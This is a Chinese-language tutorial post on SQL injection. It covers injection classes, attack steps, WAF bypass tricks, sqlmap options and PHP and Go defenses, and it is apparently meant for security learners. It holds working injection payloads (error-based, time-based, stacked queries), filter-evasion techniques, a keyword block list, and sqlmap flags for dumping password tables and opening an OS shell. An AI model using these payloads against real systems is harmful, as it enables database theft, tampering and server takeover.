初探SQL注入的分类、挖掘技巧以及防御的方法
漏洞介绍
(1)注入条件
用户能控制输入且输入的内容被带到数据库去执行
(2)注入原理
对用户输入过滤不严谨。
(3)注入本质
违背了“数据与代码分离”的原则
(4)可能存在注入的SQL语句地方
-
select语句
输入payload,最后加注释符即可。
-
insert语句
将参数值补全,然后加注释符。
-
update语句
注意update语句测试时,别更新整个库。最好使where或者if的判断条件的结果为0
-
delete语句
同update,测试时需要注意让条件为假。
注入类型
报错注入
相关函数
- UpdateX ML(X ML_target, xpath_expr, new_X ML) 更新X ML文档函数,当xpath_expr参数错误时会报错并显示参数信息。xpath_expr可以用SQL语句替代,在配合concat函数可以显示很多有用信息。
使用方法:
select updateX ML(1,concat(0x7e,({查询语句\}\}),0x7e),1)
eg.
select updateX ML(1,concat(0x7e,(select datab ase()),0x7e),1)
- ExtractValue(X ML_frag, xpath_expr) 对X ML文档进行查询的函数,和updateX ML函数类似,可以在xpath_expr中执行SQL语句。
使用方法:
select extractvalue(1,concat(0x7e,({查询语句}),0x7e));
eg.
select extractvalue(1,concat(0x7e,(select datab ase()),0x7e));
- floor(x) 向下取整函数
使用方法:
select count(*) from test group by concat(({查询语句}),floor(rand(14)*2));
eg.
select count(*) from test group by concat((select version()),floor(rand(14)*2));
- exp(x)函数 该函数为e的指数函数。函数或者查询语句执行成功会返回0.0取反则为一个很大的数,exp(大数)会造成溢出。在有些版本使用此作为报错注入不成功。
时间盲注
- 判断函数
(1)if函数:
if({表达式},{true执行的语句},{false执行的语句})
payload:
if(({判断语句}),sleep(3),1)
eg.
select * from test.test where price="3.49" and if((length(user())>1)),sleep(1),1)
注意if语句既可放在select之后,又可放在where或者and之后.
(2)case语句
case when (expr1) then (expe2) else (expr3) end;
payload:
select case when {判断语句} then sleep(3) else 1 end;
eg。
select case when (length(user())>1) then sleep(3) else 1 end;
- 其他相关函数
(1)sleep函数:sleep(x) 延时x秒
(2)比较操作符
>
<
=
like
regexp
not in
布尔盲注
布尔盲注的目标是根据响应内容的长度或者响应的关键字不同来判断SQL语句是否正确.
注入方法同时间盲注,也是用判断函数.
堆叠注入
SQL语句是以分号结尾的,有些SQL API能执行多句SQL指令,所以可以通过闭合和拼接的方式达到执行指定payload的目的.
如SQL语句为:
select * from users where id = 'id' limit 0,1;
当id为:
1';insert into users value(1,'user','pass')#
那么SQL语句变为:
select * from users where id = '1';insert into users value(1,'user','pass')#' limit 0,1;
达到插入数据的目的.
二次注入
攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
(1)存入数据库:
$username=$_GET['username'];
$password=$_GET['password'];
$result=mysqli_query($con,"insert into users(username,password) values('".addslashes($username)."','".md5($password)."')");
(2)查询数据库:
$result2=mysqli_query($con,"select * from information where username='".$username."'");
$row2=mysqli_fetch_array($result2);
可以通过username参数嵌入恶意代码。
SQL注入攻击
攻击步骤
(1)测试是否存在SQL注入、判断是什么类型的注入
(2)根据注入类型,构造合适的payload,检测是否有过滤函数。如果有过滤函数,在下面构造payload时如果需要用到的字符被过滤,则采取对应的替代方法。
(3)构造payload,获取表长度、表名
(4)构造payload,获取列长度、列名
(5)获取数据。
进阶:
判断当前用户权限,获取所有的数据库,写shell。
绕过方法
1.关键词绕过:
- 注释绕过
U/**/Nion
- 内联注释
/!*Union*/
- 双写绕过
- 大小写绕过。
2.比较符号绕过
使用其他比较符号或函数
=
like
rlike
regexp
<
>
between a and b
greatest()
least()
3.逗号绕过
逗号会用到的地方:substr(),mid(),limit,if(,,)语句
- 如果是盲注可以使用case语句。
- 对于substr和mid函数可以用from (index) for (len).
eg.
select substr("abc" from 1 for 2)
- 对于limit可以使用offset来绕过
select * from table_name limit 1 offset 0
等价于
select * from table_name limit 0,1
4.注释绕过
#
%23
--空格
/**/
5.空格绕过
%a0
%0a
%20
+
括号绕过 and()//括号两端可以不需空格
注释绕过 and/**/1
6.引号绕过
十六进制绕过:会使用到引号的地方一般是where子句中,可以用0xxxxx代替 "" 或''
通用关键函数
- mid(str,pos,len) 截取子字符串,从pos位置开始长度为len的子字符串。注意mysql位置是从1开始。
- substr(str,pos,len) 截取字符串,同mid
- ord()、ascii() 返回字符的ascii码值
- CONCAT(str1,str2,...) 连接函数,将参数中按字符串连接起来。
- GROUP_CONCAT(expr) 组连接函数,将表达式中的组结果连接起来。
- LENGTH(str) 获取字符串长度
一些SQL注入技巧
%5c爆库路径(\)
SQL注入可能出现的点
- get参数
- post参数(表单参数)
- cookie中参数
- X-Forwarded-For
- User-Agent
- Refer
SQL注入危害
- 获取用户名密码。
- 脱库、删库、改库
- 写木马
SQL注入防御方法:
1、预编译
2、使用安全的存储过程(先将SQL语句定义在数据库中),同时避免使用动态的SQL语句。
3、检查数据类型
4、使用安全函数
PHP防御
注意防御需要多种防御方式结合能达到最佳效果。
(1)使用转义字符串mysql_real_escape_string
eg.
$city = $mysqli->escape_string($city);
(2)使用mysqli的prepare语句
eg.
$uname = $_POST["username"];
$stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");
$stmt->bind_param("s", $uname);// "s" means the datab ase expects a string
$stmt->execute();
(3)使用PDO
eg.
$stmt = $pdo->prepare('SELECT * FROM USERS WHERE name = :name');
$stmt->execute(array('name' => $name));
(4)添加过滤函数
不推荐使用此方法,因为可能存在过滤不全的情况。
eg.
$farr = array(
"/<(\\/?)(s cript|i?f rame|style|html|body|title|l ink|m eta|o bject|\\?|\\%)([^>]*?)>/isU",
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",
"/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dump/is"
);//既过滤XSS,又过滤SQL注入
$str = preg_replace($farr,'',$str);
(5)PHP选项开启
magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤
Go防御
datb ase/sql 使用参数化查询
db.QueryRow("SELECT * FROM userinfo WHERE username = ? AND password = ?", sename, partname)
采用的是预编译的方法,QueryRow()方法会对传入参数进行强制类型检查和安全检查。
SQLMAP
(1)判断是否存在SQL注入
参数:
-r [file]//burp包的文本
--data //post数据
--u [url]//指定URL
--cookie //cookie
--headers//设置请求头
--forms //自动填充表单
--referer//设置referer
--proxy //代理地址
--random-agent //使用随机UA头
--referer //指定referer头
--risk 3 --leve3//cookie,http请求头,参数都扫描
-p "参数" //指定测试参数,可以为多个,用逗号隔开即可。
--skip "参数" /指定不测试的参数,可以为多个,用逗号隔开即可。
--threads [线程数量] //最大并发线程数
--technique [技术]//指定检测的技术
option:
B: Boolean-b ased blind SQL injection(布尔型注入)
E: Error-b ased SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-b ased blind SQL injection(基于时间延迟注入)
--time-sec [时间] //设置时间盲注的时间
--prefix//给payload加入前缀或者后缀
--suffix
--second-order [指定页面] //盲注时判断响应的页面,不指定默认为当前页面。
--tamper [绕WAF脚本]
(2)判断权限,猜表猜库
--current-user 获取当前用户
--current-db 获取当前数据库名称
--is-dba 判断当前用户是否为管理员。
--users 列出所有用户
--passwords 列出所有用户的密码表
--banner 返回数据库版本号
--dbms探测数据库类型
--os 探测操作系统类型
--os-shell写shell
--code=CODE HTTP code to match when query is e valuated to True
用HTTP的响应码来判断注入判断语句是正确的,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200
- 本文作者: 空城
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/180
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!